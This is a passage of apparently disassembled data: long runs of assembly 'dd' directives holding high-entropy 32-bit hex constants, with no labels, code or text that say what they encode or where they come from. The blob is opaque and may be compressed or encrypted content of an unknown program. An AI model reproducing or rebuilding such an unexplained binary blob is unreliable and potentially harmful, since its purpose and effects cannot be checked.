		dd 0A2E31D2Dh, 199C0068h, 211E8A22h, 1CEB0D0Fh,	0A38C406Fh
		dd 604BFAh, 308EB543h, 1077F16Dh, 884CF800h, 900EA279h
		dd 2440004Eh, 323F6750h, 1B0033DBh, 3E229F4Ah, 92B98E74h
		dd 40D407BCh, 4AC3ACE4h, 83B078Ch, 0E34840B5h, 18F2859Fh
		dd 0C900BBEAh, 9C67DCD7h, 0EADB2CE2h, 9ED90074h, 0E4AD8C34h
		dd 0B6004DFDh, 23977673h, 8B3D83h, 3E28C9A3h, 1DBB6F9Dh
		dd 9884D82Ah, 9F1AE500h, 68477189h, 0FDE47264h,	21806AD1h
		dd 0C3A0753Ah, 7D00A27Bh, 7E3E0335h, 149ED8h, 0C14B5447h
		dd 7852A3C4h, 0B4A8E560h, 64AD849h, 5089716Ch, 50C7C12Dh
		dd 0B7A3F5DBh, 0FD11009Dh, 2E4381ABh, 5F0E4F40h, 8C983816h
		dd 0E6421C9h, 255A7EE6h, 476EAE60h, 880096B5h, 0E44A28A7h
		dd 2959ED7h, 9AD8C792h,	89C1D5E2h, 0A13050C4h, 2D101D81h
		dd 0CBC89890h, 81945680h, 1CF16E01h, 0C6A165BFh, 21AD64D7h
		dd 20A61F00h, 5E52CC80h, 0EE9028Dh, 9ED52B3Eh, 606DE084h
		dd 10ABE40Fh, 0C9B508C3h, 0F4E42071h, 0CAE407h,	0D476287Bh
		dd 50F37DFFh, 0B1483A30h, 3C05904Eh, 0A2002DB2h, 0C6F653BFh
		dd 0EF004724h, 0D8DDA89Ch, 132D0ABh, 1D5B4E5Ch,	0E895E1BDh
		dd 0A200F5F0h, 0E2D9DCCAh, 0EEA1E5FCh, 0AFAE0044h, 3999460Dh
		dd 1E0FF59Bh, 61F45C92h, 0FE79D68Ch, 2F5718C4h,	65001F72h
		dd 6BDD1CD0h, 22E05A00h, 0BFDC55D6h, 62EE2Ah, 10B81FA8h
		dd 704FDF29h, 0AF03DAF2h, 0D43DA141h, 0BFFEA0F1h, 8EFE4Eh
		dd 0DABB8261h, 712B05Ah, 5E7FF300h, 8EA4F46h, 6C3E1B84h
		dd 30D1ACB2h, 0FBB7EC03h, 0AD000470h, 6C39541Eh, 5179A0h
		dd 4F5CBF60h, 1C78E78Ah, 2AB79100h, 95344785h, 8C4B1E07h
		dd 1EC24021h, 55EF09FCh, 0D7949C00h, 61EDDFD9h,	1BCD0CBFh
		dd 6A184F52h, 58888330h, 0AA3242h, 49991ED2h, 0FF8645C8h
		dd 0B2F72D00h, 590470C1h, 18C360D4h, 6B3C3EF0h,	9B0D2F00h
		dd 60960601h, 0ED2E0050h, 0C8092126h, 0B060E03Fh, 6B4954B0h
		dd 296F0728h, 0CF961BC2h, 0FAEF8BC0h, 2B1281B8h, 0AB031A3Bh
		dd 0C0A67114h, 0EEAF87h, 0C1D86194h, 0B376B94Fh, 0C3F51F1Fh
		dd 8CE9DC01h, 0DEF05C72h, 903E006Eh, 2312ED89h,	0D4006D0Ah
		dd 8FA75F91h, 3911E907h, 161DE68Bh, 6831397Ah, 7117B620h
		dd 2B5EEC82h, 0D8F6100Fh, 15BF2048h, 0E291CFh, 0A1D78BCEh
		dd 0AA101E72h, 884AF52Ch, 3A406C18h, 0D20830EEh, 0F828C688h
		dd 903DC81Fh, 0C5D9561Fh, 96438819h, 9A12347h, 0CC2201Eh
		dd 198AF9E9h, 0D12180EDh, 11428FFBh, 0B8A13A57h, 0E393DF80h
		dd 19D00607h, 0CF105412h, 73F1EA03h, 8F75C01Ah,	0B79D001Dh
		dd 33E7AE35h, 0AD266785h, 0E100D3ECh, 0ED3CA931h, 0F0C67AC5h
		dd 9F850046h, 0DF57AB63h, 1A00F680h, 6EDA447Eh,	34658Eh
		dd 0EE5D2983h, 67132B19h, 0F5957D01h, 33B7CDA5h, 84F9C0h
		dd 6E3B0C8Ah, 12FD5AB3h, 9B3CA017h, 0F883061Eh,	0A037ECC4h
		dd 0C96083h, 8910F7C8h,	0CA9EDD96h, 0E0BEA300h,	56846B6Dh
		dd 1CB03B8Eh, 809DD981h, 0F05F5D1Dh, 0CB7CF12Fh, 7AAF4D00h
		dd 0FFEFAAF3h, 44D74C91h, 8E4C007Ch, 0F2378CFAh, 0AF092A32h
		dd 808D014Bh, 64AA034Ah, 15DE0702h, 43D630A5h, 207B4944h
		dd 97038B03h, 0C0554D90h, 1DFD0E4h, 0C6AC4DEh, 0D8404935h
		dd 0FD18E198h, 1128243h, 5C600F24h, 0C2008D04h,	1144DA0Dh
		dd 0F90055E4h, 4929DCFAh, 7FF0E879h, 2CB30CF4h,	36A85DE7h
		dd 3495F215h, 3870150h,	0D691F0CFh, 7F6F000Bh, 42092603h
		dd 5687004Ah, 0B63D6EAFh, 890CF1EFh, 59C22DABh,	1B2C39ACh
		dd 2E571063h, 0E6C05FE3h, 7D0AD4B7h, 0B8766030h, 0DA8A8300h
		dd 2A9046h, 0B57331FFh,	0EF683FA7h, 7F593Dh, 44DBE01Bh
		dd 0CA7405h, 0C623AEFAh, 1683F2BAh, 0E6510600h,	0C7D28C4h
		dd 5B2200DBh, 1D40BCF0h, 10005721h, 45039DC2h, 7FEC3E2h
		dd 82240541h, 0DC5CF3BAh, 0E5005878h, 0E9AE4271h, 2C8811D7h
		dd 388902BBh, 0BD054504h, 0F84A1h, 8F634BAh, 0E609798h
		dd 236F7C60h, 0F5EC3E3Bh, 19BC7418h, 0A90E6ECCh, 0A0CE4152h
		dd 94A13137h, 3C6500FEh, 0F62E0FD0h, 53F2A2CAh,	45022400h
		dd 69782B49h, 0E9AF3BE4h, 4E204C80h, 86326EDCh,	1A6C9300h
		dd 427024DDh, 0C8B8C2F7h, 0E05D6BEEh, 335E9Dh, 8BDFF331h
		dd 0FC03F250h, 572F60A0h
		dd 1564EF00h, 10ED18DBh, 7139009Dh, 4ECF4884h, 34B8837Bh
		dd 7571500h, 0EA2F2E38h, 0F1741CA4h, 939A00AEh,	5CA63229h
		dd 8066BF3Dh, 9EE24202h, 124515h, 0CEC6D8B3h, 9463BD41h
		dd 74C98600h, 2FBC09CFh, 50760F8Ch, 4563F187h, 29035ADDh
		dd 1C2EAD49h, 9F79A014h, 3367C17h, 3390AF58h, 3AE1A4BAh
		dd 0E0BE865Ch, 739E688h, 7E80DE24h, 0F2F0905Bh,	7B000993h
		dd 0EC0FA978h, 2B1028h,	0F45D6A4Eh, 51BC6667h, 28F5700h
		dd 0D0C099A6h, 0CDF181Eh, 6F9419BDh, 9A114F00h,	41F63385h
		dd 0D5D4006Eh, 6AABC08Ah, 49008E54h, 2644B24Eh,	3A140BE4h
		dd 90E0C78Ch, 637B298Ah, 20E36401h, 21F78030h, 0FE3C4EDh
		dd 0EA4CC520h, 1C4F79A0h, 62003056h, 0C6D4C8D5h, 63249Ch
		dd 29BE7168h, 0A0FFFEF1h, 0D1049800h, 0DD99CC7Fh, 32C400BAh
		dd 0AFB3F8FBh, 9F7E0DC8h, 0FDB00500h, 3834572Eh, 1E700E22h
		dd 368F23C3h, 50057E40h, 5500BD84h, 79A78397h, 0FD41F8h
		dd 1702FAC0h, 874B9996h, 0EE126900h, 76E52713h,	28FB01EDh
		dd 0AE21975Eh, 9104CCCDh, 677FA600h, 79F6A8ABh,	1FB578A2h
		dd 80BA05A5h, 82983492h, 8C655F4h, 20AAFAh, 1B98F2Ah, 0FD1FDC49h
		dd 0B67DC400h, 0EC6DFBF6h, 13143ADFh, 9F10A8E0h, 9A0070FFh
		dd 53B7A760h, 297620EFh, 138A2ABh, 6C1BB983h, 401E1844h
		dd 0FB00B4ABh, 0DF36476Ah, 11F14Bh, 76DEBB7Ch, 7F1EEB84h
		dd 731D72B0h, 168FC772h, 7E310004h, 0C28308F3h,	8C85BF89h
		dd 1ED662E0h, 46CFF718h, 0C074D208h, 0BEB3AD20h, 7E0F2FC5h
		dd 0F89A5A02h, 0B57248h, 0D58F59DDh, 304CD05Fh,	0F42038h
		dd 96562492h, 0E1488Eh,	2161157Eh, 0CBB2F60h, 0A4724700h
		dd 2075D4E3h, 0C13E0205h, 0D16140DAh, 0F53004E1h, 53FAC02Ch
		dd 0ED0EE40Bh, 0B4C18015h, 1227745h, 3990AC0Fh,	71DE2A6Eh
		dd 29A8DCA5h, 0DD2BAD0Ch, 0E48C721Eh, 0F125002Fh, 0CAF93D80h
		dd 55001610h, 348E77FCh, 90A4B656h, 8BE300B2h, 75FE4C4Eh
		dd 2A00FFACh, 43E4A633h, 7602AEh, 3181ACBh, 0B1FB9E0Ah
		dd 0B4593Eh, 5EE88F62h,	0E8607734h, 0CFC000D6h,	84C6E017h
		dd 14062D43h, 4F15A56h,	0BEC93008h, 846A8020h, 0C57DE100h
		dd 0B07C0E74h, 33180045h, 6350D30Dh, 61002E21h,	5439E927h
		dd 1B59AAh, 86C443F8h, 9FF3F0C6h, 0C041C304h, 0B580DBC7h
		dd 61425EE7h, 721A60C4h, 0CD48488Bh, 4F288304h,	703150DCh
		dd 0C9F900C1h, 87010984h, 8905E802h, 41F5C0DBh,	29EA51B1h
		dd 0C1B0E200h, 4C37928Fh, 88926F0h, 0BD1000B7h,	0E77743C6h
		dd 643F4E18h, 373B38h, 2B42ABF4h, 92678AC3h, 0C52A4400h
		dd 5F6BADCAh, 6D70017h,	5523769Dh, 0B3000F7Eh, 3ADF918Fh
		dd 0B053AB2Ah, 5D89004Eh, 0C2478B17h, 7E008EB6h, 602E63D0h
		dd 65DB6Ch, 39BC4993h, 53E43FF7h, 1F9848h, 731BC58Bh, 0E8124447h
		dd 407A00BEh, 645476E4h, 0DC00913Dh, 0DF6BD89Dh, 0C3BC73BDh
		dd 3EE7D421h, 5F3533A0h, 0A807CCEAh, 76F105DDh,	9CF934E0h
		dd 0CD41062Fh, 80DC6FEFh, 80671721h, 8BCF644Eh,	208609B5h
		dd 0FC007DA5h, 0CF826356h, 8DE685h, 5F45CB43h, 0D69422C3h
		dd 0C7043305h, 7AC19BB3h, 0C620439Ch, 0A1C3605Eh, 0CF0ADF33h
		dd 0D2FCF7E8h, 9C6A6F00h, 0EDD6391Bh, 0FA6700ACh, 0E502C14Dh
		dd 40055686h, 7306D1FEh, 0C368EE80h, 0DA3C0F38h, 0BF7D27h
		dd 0E45ADF6Ah, 0B130D4FDh, 0EA9F58D0h, 324E0065h, 0D30EC578h
		dd 0FAE8C2DEh, 0D120CE60h, 3164FDh, 538E3B7Ah, 98E75547h
		dd 79010C7Fh, 0D3074E4Dh, 7080B263h, 1E6B0E4Bh,	0E2031D51h
		dd 4E28A40Bh, 0F2C8C0EAh, 5BFF00FBh, 7BB426C7h,	13070BECh
		dd 8A7E22D9h, 66E14B10h, 1F360178h, 8FDF2B7Dh, 7FF8D8A0h
		dd 1EE87400h, 59229475h, 740FE4ECh, 14FF07CFh, 3020D499h
		dd 925FB53Bh, 10AAE401h, 1DD94A53h, 769FFC0h, 0E8A59F8Bh
		dd 0BE5AF0FBh, 4F700351h, 0E57C8F07h, 0A7204DAAh, 9B54B6h
		dd 0B775A24Ah, 9985FE4Eh, 0B8B1E40Eh, 10EED86Ch, 38B218DDh
		dd 0B95A689Bh, 94AC39h,	0B3543B47h, 0C17B3Ch, 0B0FC777Eh
		dd 61BD60C8h, 0EE305060h, 79F82E4Eh, 0FB7BF2h, 197A78D0h
		dd 2FDCECFDh, 95229000h, 88AFD336h, 3B5E0072h, 0E8034E74h
		dd 0C400BB5Ch, 228093DEh, 15661B7h, 44275267h, 604C6E91h
		dd 0A60030ADh, 93552C24h, 30EA87A9h, 6EB8AB26h,	0B648C856h
		dd 0F77019Ah, 54B7DA22h, 0FC035CC0h, 430E0727h,	279EF6C5h
		dd 46DF506Ah, 8E23E1Bh,	91680C02h, 0C1154A06h, 0B4503C4Ah
		dd 30E20FB4h, 8F70C313h, 140190EBh, 0AE6E51B5h,	0F88E4788h
		dd 22604FBAh, 153E0983h, 0A6180800h, 9AE8AA0Fh,	0DE50773h
		dd 0D0035D31h, 6C468D3h, 63E46200h, 7D0E6F50h, 13CB071h
		dd 20C31ACDh, 0F4FD9549h, 30012334h, 67149D77h,	92F8D564h
		dd 0C8480061h, 1FD9E940h, 32002757h, 0C6998CA5h, 0F10FD288h
		dd 177A0880h, 0E8160624h, 7282E00Fh, 34185821h,	7BC831A0h
		dd 0C8700660h, 0BB00AD4Ch, 0F8A1D24h, 19F4DA8h,	0ACAE628Ch
		dd 80A01B6Fh, 5280839h,	678919Dh, 98651AF0h, 2707802Ah
		dd 3437A8Bh, 176D46C0h,	7EE40C77h, 2668729Fh, 0D774D400h
		dd 4512E552h, 31010CE9h, 1BC0796Eh, 0BE7F7007h,	305C03A5h
		dd 0D209C089h, 0C8AEC276h, 852BB900h, 4AE90824h, 6EF9C066h
		dd 87042D4Dh, 0ED8FCF0Bh, 0C01280FFh, 7B3ABF1Ah, 1C8D1286h
		dd 0CA2AC036h, 0E0034E29h, 25606BA9h, 7C081FAAh, 7596801Dh
		dd 7F97E532h, 0C83DBA00h, 7E6ACA29h, 482C0090h,	0B224A01h
		dd 10F09CD5h, 0FE4CB74h, 0B7721700h, 8F7EA3EEh,	7FB00007h
		dd 0DE7D40A0h, 50381B3h, 1842253Bh, 20C9C815h, 65950083h
		dd 5FE7C41Fh, 2903976Ch, 9840444Fh, 20E624h, 67C48F1Eh
		dd 0A7B8BC11h, 9C20C700h, 3A7C77DEh, 303D7925h,	3682359h
		dd 2D0083ABh, 39183179h, 0C5955Ah, 89ED6320h, 6648DEA7h
		dd 4F062818h, 0D3B13708h, 8EBF0050h, 0B66E4C94h, 0BFF84E06h
		dd 61B0171Dh, 0F5B2A9C8h, 8181BA1Ah, 6E10FF75h,	12EFA07Bh
		dd 6A2E628h, 1018CA11h,	2B605971h, 6531BD99h, 9C0F1EAAh
		dd 0D783393Dh, 0A7544C24h, 75370D80h, 0E50C4F00h, 2DDD055Ch
		dd 61350E3Dh, 0B440A5C9h, 0DF1FBFE3h, 71C04400h, 6E188B29h
		dd 1CB301E0h, 5AC88EEBh, 8ABE83DDh, 0E03DA659h,	0F1BE5Ch
		dd 87D48572h, 5B3B2758h, 4D8A2200h, 0A03F31FEh,	6E140412h
		dd 0C01D1063h, 0C8DEA3EBh, 0B2112C01h, 0A0FFE06Dh, 4BE4DE4h
		dd 59DF51D2h, 0B0978028h, 3A6C16A4h, 0FFD14029h, 0E1ED2500h
		dd 2922BD0Fh, 8497611Bh, 4561D3CEh, 5198208Eh, 833F3003h
		dd 0BE917091h, 9FC10079h, 4A5D7FCEh, 0CB6933D6h, 70004018h
		dd 1945834Fh, 3F8C8A62h, 2FAC54FAh, 0AD0F07ADh,	0CC883C4Ch
		dd 823E5C1Eh, 0CB5F4940h, 13A1D580h, 0A6C507h, 2B6C5256h
		dd 0B30131B8h, 0A9486088h, 0A23083B2h, 11F60018h, 0C95EE1ECh
		dd 0B900127Dh, 0F94B4D4Ch, 1E7A2BDFh, 0DF6A7396h, 0AFCD4F8Ah
		dd 0DB8066C9h, 4504EC5Bh, 0C905BF0Ch, 18F96C8Fh, 1899EEC4h
		dd 0B0005D4Ch, 6E3FAA62h, 0BDD9FFC2h, 0A534B6E0h, 0A1BF9119h
		dd 7BD41928h, 14AA0064h, 0EADD61ECh, 3900506Bh,	0C8CE2AFFh
		dd 39AFF647h, 8B0112F5h, 24B0B625h, 0B8B8FF7Eh,	0F92C9FA2h
		dd 803D97F0h, 0F7BA7B4Ah, 2816A9h, 4E77033h, 0C478C51Fh
		dd 7A2EB200h, 0B4DB01EFh, 0BE5B0054h, 0F8F96E30h, 500922Fh
		dd 7EE980BAh, 1F76CAEh,	2A37A83Ch, 2FA33374h, 0FA221EA0h
		dd 0EFEB3C66h, 0B9593000h, 0B0B39928h, 88A82700h, 0C297E9AAh
		dd 18606701h, 40FEB737h, 6C81DED7h, 97051810h, 80D66A00h
		dd 8BBA5A7Ah, 0BC4FF603h, 0B090DB27h, 462936h, 0E54A654Bh
		dd 7B07BB81h, 5AF48800h, 0B7E09F33h, 0B2CA4BEh,	0C541798h
		dd 0B9A6A100h, 3106FD5Eh, 0A90F6712h, 0DDB60099h, 0C29A6263h
		dd 0BC06E466h, 641C93CFh, 3AE13290h, 0E3D7DFF1h, 11900ABh
		dd 0F8E4ADF9h, 660EBEB5h, 643AA631h, 80EB992Ah,	0EFEA33D0h
		dd 409C46EFh, 0CE61FA00h, 0CB8A7726h, 0B5B80028h, 0C3730243h
		dd 672C2E85h, 0CC006D83h, 0CD7CBEEEh, 0F8430054h, 4F019E4h
		dd 0CE1FD68Dh, 0CCC5DC30h, 24406C0Eh, 0C37225B2h, 0E4A00042h
		dd 1F4F5AF3h, 0BCA06D29h, 5454BFB3h, 7D006CB0h,	15528706h
		dd 0EC7E5F3h, 81CAE4D0h, 50C9A938h, 0B3499600h,	0B89F4198h
		dd 0A88F8CDh, 29285779h, 21C80E0h, 9C27F46Ch, 0F8335C31h
		dd 0C530FD93h, 0F7D00EAh, 0A62F9515h, 2800C29Dh, 0DD189B68h
		dd 121F40ECh, 0D1CF85h,	9B36C18h, 5F01600Fh, 7A980D33h
		dd 5AFDE1C0h, 0C703D4h,	54E3F9CDh, 50669679h, 286E9D07h
		dd 5B003C18h, 0C1B98DEAh, 537516B8h, 1BC870DDh,	2675501h
		dd 4D10B07h, 77EA0720h,	0BA64008Eh, 9C1D57DCh, 0A95CB0C2h
		dd 34196116h, 0A44776CEh, 503331C0h, 108CE862h,	1C532DD6h
		dd 10017FDEh, 0A572E9A9h, 0F2997880h, 926DF169h, 8A6F7A07h
		dd 0B80AF728h, 87AC2180h, 0F681E2C3h, 0DA4F0010h, 7B57B6BEh
		dd 77007FE0h, 0A0883DD3h, 73FB689Ch, 2A3B007Dh,	95735515h
		dd 5C009278h, 0B9EC928h, 0E82D1048h, 527F002Eh,	3A27A373h
		dd 35EEFB74h, 68B5D91Ch, 0AD7E08C6h, 0E9750720h, 60F133CDh
		dd 138AA1F0h, 11058C0h,	152837Dh, 0F830A543h, 91790AB0h
		dd 0A38E5D80h, 512760E0h, 4744F798h, 82C84083h,	0BD3B9E00h
		dd 6BEC5F3Ch, 9FDB0061h, 75FFAC3Dh, 0A7EE21C1h,	0FA891901h
		dd 0EE91790Bh, 0A47A388Ch, 0D9000DA1h, 888DA616h, 18EFACDDh
		dd 81303AF0h, 0A9E81D75h, 0B3082150h, 0D04B8000h, 0A17D8A7Ah
		dd 6BBB0C24h, 0C521DD34h, 82DB3F00h, 0E972712Fh, 4DAD0077h
		dd 26BA2107h, 363A1688h, 4A208350h, 0E06B9063h,	14969FDDh
		dd 908D8B0Ah, 0C600D33Dh, 61FF9818h, 7A06FEFDh,	9A8A3E9Ch
		dd 0B75C0020h, 0EB725264h, 4700CC83h, 374A22A0h, 0BA6C2Bh
		dd 6D86D094h, 531F0A2Ah, 83D8EE00h, 0D16BCC47h,	788C7BB9h
		dd 1C3100C9h, 360DABBFh, 0C707D79Bh, 56AF3274h,	0C2116F90h
		dd 0E6BE0079h, 65F75815h, 220048DDh, 0FD4F0BC9h, 3E375EB3h
		dd 0F100A8EEh, 80C85B0Ch, 0B8731FD0h, 0F0407102h, 0C068F7C7h
		dd 0AD4E60h, 0E1BB33C9h, 8DA9DB37h, 6B001A75h, 6E97F423h
		dd 356D753h, 0E2AD325h,	0B2AA4DAEh, 667A9D40h, 0CB214000h
		dd 3A78795Ch, 202E00A9h, 8260B24Dh, 1F00F6A6h, 0AC4A3603h
		dd 798FA4C1h, 9D633B54h, 0C5E0F2h, 711824C4h, 7C0BCFD3h
		dd 0F41D5100h, 0A2168A9Bh, 0A5FA1D37h, 197A00B5h, 5D8EC217h
		dd 0F61B5B00h, 0FFD49553h, 4EB0A8h, 73A72871h, 156B4129h
		dd 8B00AA7Ah, 0E31DB80Bh, 3CEB20AFh, 0C9009844h, 76E151Ch
		dd 0F4002912h, 0CB5A5B45h, 0D716B2h, 4EAA5852h,	97952EBEh
		dd 0C4E9E100h, 0BC1BF1D4h, 67C0166h, 7E28C97Dh,	0DCA5E5D8h
		dd 0B203207Ah, 0B8ABFF45h, 0D138C8A4h, 0AD583E3Bh, 9168F480h
		dd 6DDDA576h, 0E50F1DFCh, 8031CA18h, 52FF8B1Bh,	0A10F2C51h
		dd 0FFCE1FD3h, 0BD282000h, 2B06AC5h, 8B015CFAh,	62ABAC5Dh
		dd 41F0981Bh, 51971F4Eh, 0B30EC7CEh, 0FF060063h, 732E4C84h
		dd 0DA06FD3Eh, 7890441Fh, 0D271031Bh, 68854AF6h, 4E9E80A5h
		dd 0B4F24DB0h, 3F4C98C0h, 0F64555Bh, 2E1916A7h,	5D015A1h
		dd 263880D9h, 0B32899A3h, 0C84268Bh, 3D60067h, 0BD4DE5A8h
		dd 4BB7B500h, 0E2D5A01Fh, 3ED7611h, 0D479CC4h, 5388DA92h
		dd 0F6FA46A4h, 0A0457700h, 15985973h, 0C817006Dh, 0B0EFB4BDh
		dd 4C00478Ch, 26DA52EDh, 755844h, 80912F0Bh, 6154DFFCh
		dd 6B409C03h, 0E01E412Ch, 0D3E8BBh, 0EC573C43h,	2E3B65EFh
		dd 239E8406h, 9878CAh, 0D66FE9EBh, 66F6C0A0h, 0FCCD4E00h
		dd 431F7FDh, 0F0241CE0h, 6AAF4F77h, 1CEA6FE0h, 1400701Bh
		dd 0B719B89h, 1DD590D2h, 0C309375Bh, 0E5CA0DB4h, 73B051F8h
		dd 14452A00h, 0DAA541ACh, 3EF001Ch, 6E35D4A6h, 230E8858h
		dd 80E711C2h, 6987CF7Fh, 0E2DC0FFFh, 24800967h,	12A73983h
		dd 0E5685C00h, 0B4D11E0Fh, 0B838052Ch, 0C0481F10h, 0EDF8A778h
		dd 0F083C828h, 135E4700h, 0F91CD730h, 0F77E60h,	78C83721h
		dd 0FBEB55DAh, 4271B80Eh, 80856B4Ch, 33AE9F29h,	82DC067Bh
		dd 38D004B6h, 9A515F09h, 98E58096h, 363E75h, 87A1AD40h
		dd 83B4153Ch, 86BF6600h, 845578A2h, 92F22851h, 0FE9109E7h
		dd 3807BD1Ch, 0F8076EACh, 97582CEBh, 0E9999300h, 0BE67691Eh
		dd 45180036h, 4D258577h, 60C0B647h, 0E852464Ch,	0E4B20F7Ah
		dd 0A4E00B36h, 63241BDAh, 66163C00h, 17A6A7ECh,	6AD61D4Ah
		dd 172EF7h, 0B7FF584Dh,	3703C7F8h, 0A77A03BFh, 8E20A798h
		dd 16BA96D7h, 5461E6h, 0AAB7CB82h, 0FE3B9A4Fh, 0AD9800ECh
		dd 0DAE110D4h, 33AB1CA5h, 0ED83390Fh, 0B3522C9Ah, 4B85E880h
		dd 0EAD0F200h, 63993A07h, 617712F4h, 98D843BDh,	8CE052A7h
		dd 5D124FCFh, 8C00E5D6h, 0D40EE879h, 0A2CB1C96h, 0F8F18081h
		dd 34E72E0Dh, 0B6E07C00h, 0FC87AABBh, 42F40031h, 36DADB6Eh
		dd 7906F5B5h, 0B12C3203h, 8B7A18h, 65A74FB6h, 19260106h
		dd 6AE76000h, 0B7B048CAh, 0EBA10736h, 0CC1CB6h,	0E02CE20h
		dd 0C7F72400h, 0ED9FB4D6h, 0E79A07D1h, 89BC8D29h, 4F3F9D80h
		dd 0F8007F70h, 49E06AB7h, 2FAB03h, 83F7E1A2h, 115AACC5h
		dd 3802F11Ch, 22C2E66h,	98C8EE00h, 1B309h, 0DC5F0BA3h
		dd 16319B7Bh, 9F874B07h, 0CB0158BDh, 6820AEF1h,	4FE407E9h
		dd 977E49C7h, 0A8D2732Ah, 0DA933088h, 8126007h,	0EE9A76Bh
		dd 44FF0024h, 73181CDh,	27F5A838h, 0B0C717A3h, 0AF58C348h
		dd 0F70DA612h, 0F287703Ch, 0DEC16h, 3DD61362h, 86C594DAh
		dd 0FB4C88E4h, 16E01778h, 0B2DC2F00h, 0F5AAE9Eh, 0D811CF01h
		dd 4B8627h, 70E66667h, 0A8FD60C3h, 6FFED9FCh, 37A71080h
		dd 0BDAFB199h, 3842DFh,	66716BC3h, 0D52967h, 0BC9E86CFh
		dd 9FF8F09Dh, 80DC3E09h, 0D07C8061h, 6C2AF3h, 0CB82C144h
		dd 68231BD1h, 870DE600h, 0EA586281h, 0BAE5017Bh, 3D240AD3h
		dd 0AF2BC42Ah, 4D5A9D1Ch, 8594D200h, 0C2D145h, 9246C838h
		dd 5031F99Bh, 4B76B813h, 0A0EBEC4Fh, 3805C12Eh,	0C3073E30h
		dd 6104803Eh, 0C05849F7h, 173D7EBAh, 2CA42809h,	4E300086h
		dd 1F148B12h, 40255983h, 0E5ABC563h, 9300FD78h,	0A52BD3CBh
		dd 126ABD52h, 0C7216Dh,	0CFD74B9Eh, 7F007A42h, 96888203h
		dd 35ABF40h, 0FFC8EA85h, 92B09DA6h, 0CD009923h,	1D618725h
		dd 0CBC2F5h, 0B8EA0209h, 31BE03C1h, 0DEA29D1Ch,	1E57F4C0h
		dd 0B44EF3h, 6AE04320h,	0B5D7477Fh, 5978F800h, 0DB2B57C8h
		dd 0FBDC1EC4h, 7C76623h, 40A84BB4h, 0AFF1E094h,	0B58726h
		dd 30B3D601h, 7F0D9E3h,	0E90A0753h, 0F1BC5AB9h,	241038F8h
		dd 0E005910h, 0F7476C75h
		dd 0B87CDBD7h, 0F29E000Bh, 683D3C2h, 64994B9Fh,	0D6BEC582h
		dd 28ED20BFh, 0B39931Ch, 70DCACh, 56A7BE13h, 0FA145977h
		dd 0C0AE5A6Dh, 0F2D00624h, 4C398006h, 80AF76h, 6CC84808h
		dd 0D4AE31F8h, 0F34771Dh, 0C8400696h, 0D1E03CEh, 56DB00DDh
		dd 0DEC61F0Eh, 611DFBBFh, 24CE865Ch, 4C00129Fh,	0FC56464Fh
		dd 986A49B2h, 572AB000h, 0E5B12789h, 1A23D300h,	516EAC76h
		dd 0C2562407h, 0C3591F48h, 0A818472h, 3DDAFED8h, 954D3Fh
		dd 65935C37h, 7600BA5h,	911D36ECh, 76631155h, 1CFEC67h
		dd 5B1F3A00h, 0E74CEC0Dh, 109A01BEh, 98D64089h,	82B420D9h
		dd 5DE8158h, 1A1C36C1h,	1366748Ch, 5AA764Dh, 0D395853Ah
		dd 39429E68h, 2F7B80BCh, 70988558h, 0BFD0072Ah,	30FAEC4Ah
		dd 3CF67405h, 18E60200h, 9B2F53FCh, 0C428008Eh,	122D151Fh
		dd 10B0E2E4h, 0A1F1090h, 0D4D4797Ch, 1B030194h,	9A9F31DAh
		dd 9DE070h, 0A3B6F2A1h,	82D5B10Ah, 0C20074B0h, 0C4E51A86h
		dd 243DB5h, 0AF3F15BFh,	0D195E4BBh, 487C3231h, 0FC23A56Ah
		dd 0EC0A860Fh, 92797D60h, 0AD0087FBh, 8F4D1C37h, 7FE508h
		dd 902607D5h, 0BBD06AEBh, 164C60F8h, 726C1D33h,	0A88035C0h
		dd 9A23C0h, 10CA1222h, 0E2CD0D90h, 4CA36500h, 1D3B6D3Ch
		dd 9C70EF18h, 287E39h, 0BAC44586h, 893CB5C3h, 0EC1541Eh
		dd 0E36F1080h, 9A15E1Bh, 0F8B6F3C4h, 61782980h,	627D7A8Ah
		dd 91546A00h, 5AC8B35Ch, 1259009Fh, 0C6BC17D5h,	39245197h
		dd 580060D0h, 236A37D6h, 0DBE030E1h, 3BC85E50h,	0F56020E5h
		dd 99F96800h, 2E517D2Fh, 66F3F27h, 0E4BE750Eh, 1D07C983h
		dd 0CF7888E4h, 0FEB5C011h, 678DEA00h, 0BA3B178Eh, 98F970CBh
		dd 0D8D0A8h, 656BE675h,	89F254A0h, 5A50A07h, 11402E4Bh
		dd 0C0BC7D7Ch, 0DACCC410h, 2CA4DC78h, 74E86160h, 2C775821h
		dd 0EC4E763h, 5220AE48h, 4CD9419h, 0E2AAC0F9h, 1CFD2500h
		dd 0FBC33696h, 3CC700E3h, 0F58BB2DDh, 0EF3E864Fh, 8C7D80B3h
		dd 3D4EDCEEh, 0A8B091h,	0A30B1268h, 8A3CD837h, 0CE7F0100h
		dd 8B6AD551h, 0DFFA03ACh, 7EDD163Fh, 814107E8h,	0CE003578h
		dd 8919509h, 71BD7A8Dh,	26807CDh, 0AF8127B9h, 0F0F22320h
		dd 0DC0908C8h, 63F667h,	78FD5BF8h, 7F5C1F1Ch, 0B1F9C11Bh
		dd 70CDFF0Bh, 0DA00D051h, 99DC4867h, 0F874786h,	0A6B9B75Eh
		dd 0FE2BA420h, 8F007053h, 972E01Eh, 0A5D474h, 41653438h
		dd 0EC437C40h, 32C38C00h, 55360712h, 0D51B3AD6h, 1AAE9100h
		dd 0BF01A6D9h, 0E5700A00h, 0C559997Eh, 0B23B0093h, 0F291900Dh
		dd 0E302A3AFh, 0D04D7A85h, 9B96C0CCh, 0F6CFC29h, 0CE603114h
		dd 5B5965C0h, 550F8B6Bh, 2EB1A379h, 77EF8317h, 80100075h
		dd 0FEF2FD84h, 0BC76C50Eh, 266F6D39h, 0E080B0E3h, 0EA792DB8h
		dd 24E97F01h, 1A619h, 8653E499h, 5507C815h, 0CEBC5927h
		dd 7968C240h, 33716Ch, 3B8C9878h, 2AD21FCFh, 55580E00h
		dd 9A602311h, 0BB9926DFh, 6C260058h, 2210CCA1h,	0CAE9A050h
		dd 0C866E217h, 39A97400h, 0FD5D99h, 0B7ED096Fh,	16AC74F5h
		dd 6C04E700h, 59D13293h, 0FD2E0040h, 7505D561h,	330EFF3Bh
		dd 2036E00Ch, 5166F1EFh, 49C100F3h, 0F7DAF663h,	6248962Ch
		dd 31980055h, 0ACB53D07h, 0C1DF03F9h, 60E7F56Fh, 0E9BAFD8h
		dd 0B8107960h, 3925A0h,	31BB892Ch, 8B703D2Ah, 0F2B27B00h
		dd 8CD365E7h, 48446054h, 0F56177BEh, 122CAEE8h,	0DC003B20h
